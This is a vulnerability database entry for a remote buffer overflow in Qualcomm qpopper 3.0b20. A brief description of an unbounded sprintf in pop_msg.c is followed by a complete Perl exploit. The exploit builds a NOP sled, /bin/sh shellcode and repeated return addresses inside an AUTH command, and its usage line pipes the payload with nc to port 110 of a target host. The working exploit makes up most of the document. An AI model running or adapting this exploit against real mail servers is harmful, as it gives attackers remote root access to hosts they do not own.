Qualcomm qpopper 3.0/3.0 b20 Remote Buffer Overflow Vulnerability (2)

2014-07-01T00:00:00
ID SSV:73562
Type seebug
Reporter Root
Modified 2014-07-01T00:00:00

Description

No description provided by source.

                                        
                                            
                                                source: http://www.securityfocus.com/bid/830/info
 
There is a buffer overflow vulnerability present in current (3.x) versions of Qualcomm popper daemon. These vulnerabilities are remotely exploitable and since the daemon runs as root, the host running qpopper can be completely compromised anonymously. The problem is in pop_msg.c, around line 68 and is the result of vsprintf() or sprintf() calls without bounds checking.

#!/usr/bin/perl
# *** Synnergy Networks

# * Description:
#
# Remote buffer overflow exploit for QPOP 3.0b<=20 
# running on Linux.
# (based on code by sk8@lucid-solutions.com)

# * Author:
#
# headflux (hf@synnergy.net)
# Synnergy Networks (c) 1999,  http://www.synnergy.net

# * Usage:
# ./qpop-linux.pl <offset> | nc -v <hostname> 110

# *** Synnergy Networks

$nop    = "\x90";
#$offset        = 0;

$shell  = "\xeb\x22\x5e\x89\xf3\x89\xf7\x83\xc7\x07\x31\xc0\xaa";
$shell  .= "\x89\xf9\x89\xf0\xab\x89\xfa\x31\xc0\xab\xb0\x08\x04";
$shell  .= "\x03\xcd\x80\x31\xdb\x89\xd8\x40\xcd\x80\xe8\xd9\xff";
$shell  .= "\xff\xff/bin/sh";

#$i     = 0;
$buflen = 990;
$ret    = 0xbfffd304;
$cmd    = "AUTH ";

if(defined $ARGV[0])
{
        $offset = $ARGV[0];
}

$buf = $nop x $buflen;
substr($buf, 0, length($cmd))		= "$cmd";
substr($buf, 800, length($shell))       = "$shell";

for ($i=800+length($shell) + 2; $i < $buflen - 4; $i += 4)
{
        substr($buf, $i, length($ret + offset)) = pack(l,$ret + $offset);
}

# substr($buf, $buflen - 2, 1)  = "\n";
# substr($buf, $buflen - 1, 1)  = "\n";

#$buf   .= "\n";

printf STDOUT "$buf\n";

# EndOfFile